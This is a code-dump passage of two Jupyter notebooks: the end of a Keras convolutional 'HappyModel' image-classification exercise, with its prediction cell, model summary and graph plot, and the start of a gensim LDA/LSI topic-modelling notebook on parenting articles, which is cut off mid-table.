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\nF7+GRori/wOMhrX8XuEH+AAAAABJRU5ErkJggg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7fda941ec160>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "### START CODE HERE ###\n", "### END CODE HERE ###\n", "img = image.load_img(img_path, target_size=(64, 64))\n", "imshow(img)\n", "\n", "x = image.img_to_array(img)\n", "x = np.expand_dims(x, axis=0)\n", "x = preprocess_input(x)\n", "\n", "print(happyModel.predict(x))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 5 - Other useful functions in Keras (Optional)\n", "\n", "Two other basic features of Keras that you'll find useful are:\n", "- `model.summary()`: prints the details of your layers in a table with the sizes of its inputs/outputs\n", "- `plot_model()`: plots your graph in a nice layout. You can even save it as \".png\" using SVG() if you'd like to share it on social media ;). It is saved in \"File\" then \"Open...\" in the upper bar of the notebook.\n", "\n", "Run the following code." ] }, { "cell_type": "code", "execution_count": 9, "metadata": { "scrolled": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "_________________________________________________________________\n", "Layer (type) Output Shape Param # \n", "=================================================================\n", "input_1 (InputLayer) (None, 64, 64, 3) 0 \n", "_________________________________________________________________\n", "zero_padding2d_1 (ZeroPaddin (None, 70, 70, 3) 0 \n", "_________________________________________________________________\n", "conv0 (Conv2D) (None, 64, 64, 32) 4736 \n", "_________________________________________________________________\n", "bn0 (BatchNormalization) (None, 64, 64, 32) 128 \n", "_________________________________________________________________\n", "activation_1 (Activation) (None, 64, 64, 32) 0 \n", "_________________________________________________________________\n", "max_pool (MaxPooling2D) (None, 32, 32, 32) 0 \n", "_________________________________________________________________\n", "flatten_1 (Flatten) (None, 32768) 0 \n", "_________________________________________________________________\n", "fc (Dense) (None, 1) 32769 \n", "=================================================================\n", "Total params: 37,633\n", "Trainable params: 37,569\n", "Non-trainable params: 64\n", "_________________________________________________________________\n" ] } ], "source": [ "happyModel.summary()" ] }, { "cell_type": "code", "execution_count": 10, "metadata": {}, "outputs": [ { "data": { "image/svg+xml": [ "<svg height=\"556pt\" viewBox=\"0.00 0.00 225.00 556.00\" width=\"225pt\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n", "<g class=\"graph\" id=\"graph0\" transform=\"scale(1 1) rotate(0) translate(4 552)\">\n", "<title>G</title>\n", "<polygon fill=\"white\" points=\"-4,4 -4,-552 221,-552 221,4 -4,4\" stroke=\"none\"/>\n", "<!-- 140576771954392 -->\n", "<g class=\"node\" id=\"node1\"><title>140576771954392</title>\n", "<polygon fill=\"none\" points=\"45.5,-511.5 45.5,-547.5 171.5,-547.5 171.5,-511.5 45.5,-511.5\" stroke=\"black\"/>\n", "<text font-family=\"Times,serif\" font-size=\"14.00\" text-anchor=\"middle\" x=\"108.5\" y=\"-525.8\">input_1: InputLayer</text>\n", "</g>\n", "<!-- 140576771915392 -->\n", "<g class=\"node\" id=\"node2\"><title>140576771915392</title>\n", "<polygon fill=\"none\" points=\"0,-438.5 0,-474.5 217,-474.5 217,-438.5 0,-438.5\" stroke=\"black\"/>\n", "<text font-family=\"Times,serif\" font-size=\"14.00\" text-anchor=\"middle\" x=\"108.5\" y=\"-452.8\">zero_padding2d_1: ZeroPadding2D</text>\n", "</g>\n", "<!-- 140576771954392&#45;&gt;140576771915392 -->\n", "<g class=\"edge\" id=\"edge1\"><title>140576771954392-&gt;140576771915392</title>\n", "<path d=\"M108.5,-511.313C108.5,-503.289 108.5,-493.547 108.5,-484.569\" fill=\"none\" stroke=\"black\"/>\n", "<polygon fill=\"black\" points=\"112,-484.529 108.5,-474.529 105,-484.529 112,-484.529\" stroke=\"black\"/>\n", "</g>\n", "<!-- 140576771915448 -->\n", "<g class=\"node\" id=\"node3\"><title>140576771915448</title>\n", "<polygon fill=\"none\" points=\"56,-365.5 56,-401.5 161,-401.5 161,-365.5 56,-365.5\" stroke=\"black\"/>\n", "<text font-family=\"Times,serif\" font-size=\"14.00\" text-anchor=\"middle\" x=\"108.5\" y=\"-379.8\">conv0: Conv2D</text>\n", "</g>\n", "<!-- 140576771915392&#45;&gt;140576771915448 -->\n", "<g class=\"edge\" id=\"edge2\"><title>140576771915392-&gt;140576771915448</title>\n", "<path d=\"M108.5,-438.313C108.5,-430.289 108.5,-420.547 108.5,-411.569\" fill=\"none\" stroke=\"black\"/>\n", "<polygon fill=\"black\" points=\"112,-411.529 108.5,-401.529 105,-411.529 112,-411.529\" stroke=\"black\"/>\n", "</g>\n", "<!-- 140576771912480 -->\n", "<g class=\"node\" id=\"node4\"><title>140576771912480</title>\n", "<polygon fill=\"none\" points=\"31.5,-292.5 31.5,-328.5 185.5,-328.5 185.5,-292.5 31.5,-292.5\" stroke=\"black\"/>\n", "<text font-family=\"Times,serif\" font-size=\"14.00\" text-anchor=\"middle\" x=\"108.5\" y=\"-306.8\">bn0: BatchNormalization</text>\n", "</g>\n", "<!-- 140576771915448&#45;&gt;140576771912480 -->\n", "<g class=\"edge\" id=\"edge3\"><title>140576771915448-&gt;140576771912480</title>\n", "<path d=\"M108.5,-365.313C108.5,-357.289 108.5,-347.547 108.5,-338.569\" fill=\"none\" stroke=\"black\"/>\n", "<polygon fill=\"black\" points=\"112,-338.529 108.5,-328.529 105,-338.529 112,-338.529\" stroke=\"black\"/>\n", "</g>\n", "<!-- 140576771912872 -->\n", "<g class=\"node\" id=\"node5\"><title>140576771912872</title>\n", "<polygon fill=\"none\" points=\"35,-219.5 35,-255.5 182,-255.5 182,-219.5 35,-219.5\" stroke=\"black\"/>\n", "<text font-family=\"Times,serif\" font-size=\"14.00\" text-anchor=\"middle\" x=\"108.5\" y=\"-233.8\">activation_1: Activation</text>\n", "</g>\n", "<!-- 140576771912480&#45;&gt;140576771912872 -->\n", "<g class=\"edge\" id=\"edge4\"><title>140576771912480-&gt;140576771912872</title>\n", "<path d=\"M108.5,-292.313C108.5,-284.289 108.5,-274.547 108.5,-265.569\" fill=\"none\" stroke=\"black\"/>\n", "<polygon fill=\"black\" points=\"112,-265.529 108.5,-255.529 105,-265.529 112,-265.529\" stroke=\"black\"/>\n", "</g>\n", "<!-- 140576771956688 -->\n", "<g class=\"node\" id=\"node6\"><title>140576771956688</title>\n", "<polygon fill=\"none\" points=\"26.5,-146.5 26.5,-182.5 190.5,-182.5 190.5,-146.5 26.5,-146.5\" stroke=\"black\"/>\n", "<text font-family=\"Times,serif\" font-size=\"14.00\" text-anchor=\"middle\" x=\"108.5\" y=\"-160.8\">max_pool: MaxPooling2D</text>\n", "</g>\n", "<!-- 140576771912872&#45;&gt;140576771956688 -->\n", "<g class=\"edge\" id=\"edge5\"><title>140576771912872-&gt;140576771956688</title>\n", "<path d=\"M108.5,-219.313C108.5,-211.289 108.5,-201.547 108.5,-192.569\" fill=\"none\" stroke=\"black\"/>\n", "<polygon fill=\"black\" points=\"112,-192.529 108.5,-182.529 105,-192.529 112,-192.529\" stroke=\"black\"/>\n", "</g>\n", "<!-- 140576771655720 -->\n", "<g class=\"node\" id=\"node7\"><title>140576771655720</title>\n", "<polygon fill=\"none\" points=\"54,-73.5 54,-109.5 163,-109.5 163,-73.5 54,-73.5\" stroke=\"black\"/>\n", "<text font-family=\"Times,serif\" font-size=\"14.00\" text-anchor=\"middle\" x=\"108.5\" y=\"-87.8\">flatten_1: Flatten</text>\n", "</g>\n", "<!-- 140576771956688&#45;&gt;140576771655720 -->\n", "<g class=\"edge\" id=\"edge6\"><title>140576771956688-&gt;140576771655720</title>\n", "<path d=\"M108.5,-146.313C108.5,-138.289 108.5,-128.547 108.5,-119.569\" fill=\"none\" stroke=\"black\"/>\n", "<polygon fill=\"black\" points=\"112,-119.529 108.5,-109.529 105,-119.529 112,-119.529\" stroke=\"black\"/>\n", "</g>\n", "<!-- 140576771230632 -->\n", "<g class=\"node\" id=\"node8\"><title>140576771230632</title>\n", "<polygon fill=\"none\" points=\"74,-0.5 74,-36.5 143,-36.5 143,-0.5 74,-0.5\" stroke=\"black\"/>\n", "<text font-family=\"Times,serif\" font-size=\"14.00\" text-anchor=\"middle\" x=\"108.5\" y=\"-14.8\">fc: Dense</text>\n", "</g>\n", "<!-- 140576771655720&#45;&gt;140576771230632 -->\n", "<g class=\"edge\" id=\"edge7\"><title>140576771655720-&gt;140576771230632</title>\n", "<path d=\"M108.5,-73.3129C108.5,-65.2895 108.5,-55.5475 108.5,-46.5691\" fill=\"none\" stroke=\"black\"/>\n", "<polygon fill=\"black\" points=\"112,-46.5288 108.5,-36.5288 105,-46.5289 112,-46.5288\" stroke=\"black\"/>\n", "</g>\n", "</g>\n", "</svg>" ], "text/plain": [ "<IPython.core.display.SVG object>" ] }, "execution_count": 10, "metadata": {}, "output_type": "execute_result" } ], "source": [ "plot_model(happyModel, to_file='HappyModel.png')\n", "SVG(model_to_dot(happyModel).create(prog='dot', format='svg'))" ] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.7.4" } }, "nbformat": 4, "nbformat_minor": 2 }

mit

trangel/Insight-Data-Science

analysis-data/improve-lda-model.ipynb

2

10369

{ "cells": [ { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": true }, "outputs": [], "source": [ "import pandas as pd\n", "import os\n", "import numpy as np\n", "from gensim import corpora, models, similarities\n", "from gensim import models\n", "\n", "from nlp_models import get_model_score,make_corpus,\\\n", "make_lsi_similarity_matrix,make_lda_similarity_matrix\n" ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "collapsed": true }, "outputs": [], "source": [ "# Set up paths/ os\n", "import os\n", "import sys\n", "\n", "this_path=os.getcwd()\n", "os.chdir(\"../data\")\n", "sys.path.insert(0, this_path)" ] }, { "cell_type": "code", "execution_count": 3, "metadata": {}, "outputs": [ { "data": { "text/html": [ "<div>\n", "<style>\n", " .dataframe thead tr:only-child th {\n", " text-align: right;\n", " }\n", "\n", " .dataframe thead th {\n", " text-align: left;\n", " }\n", "\n", " .dataframe tbody tr th {\n", " vertical-align: top;\n", " }\n", "</style>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>title</th>\n", " <th>source</th>\n", " <th>category</th>\n", " <th>text</th>\n", " <th>href</th>\n", " <th>tokens</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td>Autism, Head Banging and other Self Harming Be...</td>\n", " <td>https://www.autismparentingmagazine.com/</td>\n", " 